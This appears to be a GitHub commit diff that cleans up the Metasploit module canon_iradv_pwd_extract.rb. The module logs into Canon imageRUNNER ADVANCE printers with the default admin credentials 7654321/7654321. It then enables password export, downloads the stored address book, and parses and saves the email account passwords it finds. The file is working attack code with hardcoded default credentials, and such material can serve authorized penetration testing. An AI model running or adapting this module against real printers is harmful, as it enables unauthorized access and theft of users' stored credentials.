Skip to content

Commit f47128c

Browse files
committed
Cleanup canon_irav_pwd_extract module
1 parent a15c793 commit f47128c

File tree

1 file changed

+71
-53
lines changed

1 file changed

+71
-53
lines changed

modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb

Lines changed: 71 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
11
#
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
require 'rex/proto/http'
86
require 'msf/core'
97

10-
11-
class Metasploit3 < Msf::Auxiliary
8+
class MetasploitModule < Msf::Auxiliary
129

1310
include Msf::Exploit::Remote::HttpClient
1411
include Msf::Auxiliary::Report
@@ -31,7 +28,9 @@ def initialize(info={})
3128
'Author' =>
3229
[
3330
'Deral "Percentx" Heiland',
34-
'Pete "Bokojan" Arzamendi'
31+
'Pete "Bokojan" Arzamendi',
32+
'William Vu',
33+
'Dev Mohanty'
3534
],
3635
'License' => MSF_LICENSE
3736
))
@@ -40,47 +39,47 @@ def initialize(info={})
4039
[
4140
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
4241
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
43-
OptInt.new('RPORT', [ true, 'The target port', 8000]),
42+
Opt::RPORT(8000),
4443
OptString.new('USER', [ true, 'The default Admin user', '7654321']),
4544
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
4645
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
4746

4847
], self.class)
4948
end
5049

51-
# Time to start the fun
5250
def run_host(ip)
5351
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
5452
login(ip)
5553
end
5654

5755
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
5856
def login(ip)
59-
login_post_data = "uri=%2f&deptid=#{datastore['USER']}&password=#{datastore['PASSWD']}"
60-
57+
vars_post = {
58+
"uri" => "%2f",
59+
"deptid" => "#{datastore['USER']}",
60+
"password" => "#{datastore['PASSWD']}"
61+
}
6162
begin
6263
res = send_request_cgi({
6364
'method' => 'POST',
64-
'uri' => '/login',
65-
'data' => login_post_data,
65+
'uri' => normalize_uri('/login'),
66+
'vars_post' => vars_post
6667
}, datastore['TIMEOUT'].to_i)
6768
end
6869

6970
#grab Canon sessionid cookie
70-
idcookie = res.get_cookies
71+
idcookie = res.nil? ? nil : res.get_cookies
7172

72-
if (res.code == 301 or res.code == 302 and res.headers['Location'] != nil)
73+
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
7374
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
7475

75-
#grab Canon IR= session cookie
76-
begin
77-
res = send_request_cgi({
78-
'method' => 'GET',
79-
'uri' => '/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064',
80-
'headers' => {'Cookie' => "#{idcookie}"},
81-
}, datastore['TIMEOUT'].to_i)
82-
end
83-
ircookie = res.get_cookies
76+
#grab Canon IR= session cookie
77+
res = send_request_cgi({
78+
'method' => 'GET',
79+
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
80+
'headers' => {'Cookie' => "#{idcookie}"},
81+
}, datastore['TIMEOUT'].to_i)
82+
ircookie = res.nil? ? nil : res.get_cookies
8483
cookies=("#{idcookie}; #{ircookie}")
8584

8685
set_allow(cookies)
@@ -93,32 +92,47 @@ def login(ip)
9392
end
9493

9594

96-
# Set the allow password export to on
95+
# Set the allow password export to on
9796
def set_allow(cookies)
98-
set_post_data = "ADRSEXPPSWDCHK=0&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115"
99-
97+
vars_post = {
98+
"ADRSEXPPSWDCHK" => "0",
99+
"PageFlag" => "c_adrs.tpl",
100+
"Flag" => "Exec_Data",
101+
"CoreNXAction" => "./cadrs.cgi",
102+
"CoreNXPage" => "c_adrexppass.tpl",
103+
"CoreNXFlag" => "Init_Data",
104+
"Dummy" => "1359048058115"
105+
}
100106
begin
101107
res = send_request_cgi({
102108
'method' => 'POST',
103-
'uri' => '/rps/cadrs.cgi',
104-
'data' => set_post_data,
109+
'uri' => normalize_uri('/rps/cadrs.cgi'),
110+
'vars_post' => vars_post,
105111
'headers' => {'Cookie' => "#{cookies}"},
106112
}, datastore['TIMEOUT'].to_i)
107113
end
108114
end
109115

110-
# Extract the adress book data and save out to loot
116+
# Extract the adress book data and save out to loot
111117
def extract(cookies, ip)
112-
extract_data ="AID=#{datastore['ADDRSBOOK']}&ACLS=1&ENC_MODE=0&ENC_FILE=password&PASSWD=&PageFlag=&AMOD=&Dummy=1359047882596&ERR_PG_KIND_FLG=Adress_Export"
113-
begin
114-
res = send_request_cgi({
115-
'method' => 'POST',
116-
'uri' => '/rps/abook.ldif',
117-
'data' => extract_data,
118-
'headers' => {'Cookie' => "#{cookies}"},
119-
}, datastore['TIMEOUT'].to_i)
120-
end
121-
address_book = (res.body)
118+
vars_post = {
119+
"AID" => "#{datastore['ADDRSBOOK']}",
120+
"ACLS" => "1",
121+
"ENC_MODE" => "0",
122+
"ENC_FILE" => "password",
123+
"PASSWD" => "",
124+
"PageFlag" => "",
125+
"AMOD" => "",
126+
"Dummy" => "1359047882596",
127+
"ERR_PG_KIND_FLG" => "Adress_Export"
128+
}
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri('/rps/abook.ldif'),
132+
'vars_post' => vars_post,
133+
'headers' => {'Cookie' => "#{cookies}"},
134+
}, datastore['TIMEOUT'].to_i)
135+
address_book = res.nil? ? nil : res.body
122136
print_status("#{address_book}")
123137

124138
#Woot we got loot.
@@ -127,23 +141,27 @@ def extract(cookies, ip)
127141
loot_filename = "Canon-addressbook.text"
128142
loot_desc = "Canon Addressbook Harvester"
129143
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
130-
print_status("Credentials saved in: #{p.to_s}")
144+
print_status("Credentials saved in: #{p}")
131145

132146
harvest_ldif(address_book, ip)
133147
end
134148

135149
# Reset the allow password export to off
136150
def set_disallow(cookies)
137-
set_post_data = "ADRSEXPPSWDCHK=1&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115"
138-
139-
begin
140-
res = send_request_cgi({
141-
'method' => 'POST',
142-
'uri' => '/rps/cadrs.cgi',
143-
'data' => set_post_data,
144-
'headers' => {'Cookie' => "#{cookies}"},
145-
}, datastore['TIMEOUT'].to_i)
146-
end
151+
vars_post = {
152+
"ADRSEXPPSWDCHK" => "1",
153+
"PageFlag" => "c_adrs.tpl",
154+
"Flag" => "Exec_Data",
155+
"CoreNXAction" => "./cadrs.cgi",
156+
"CoreNXPage" => "c_adrexppass.tpl",
157+
"CoreNXFlag" => "Init_Data&Dummy=1359048058115"
158+
}
159+
res = send_request_cgi({
160+
'method' => 'POST',
161+
'uri' => normalize_uri('/rps/cadrs.cgi'),
162+
'vars_post' => vars_post,
163+
'headers' => {'Cookie' => "#{cookies}"},
164+
}, datastore['TIMEOUT'].to_i)
147165
end
148166

149167
# Harvest Credential
@@ -152,7 +170,7 @@ def harvest_ldif(address_book, ip)
152170
end
153171

154172
def harvest_credentials(mailaddress, pwd, ip)
155-
return 0 if mailaddress == nil
173+
return if mailaddress == nil
156174
username_domain = mailaddress.split('@')
157175
username = username_domain[0]
158176
domain = username_domain[1]
@@ -161,7 +179,7 @@ def harvest_credentials(mailaddress, pwd, ip)
161179
address: Rex::Socket.getaddress(ip),
162180
port: rport,
163181
protocol: 'tcp',
164-
service_name: 'http',
182+
service_name: ssl ? 'https' : 'http',
165183
workspace_id: myworkspace_id
166184
}
167185

@@ -175,7 +193,7 @@ def harvest_credentials(mailaddress, pwd, ip)
175193

176194
create_credential(credential_data.merge(service_data))
177195

178-
puts "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
196+
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
179197
end
180198

181199
def harvest_file(ldif, ip)

0 commit comments

Comments
 (0)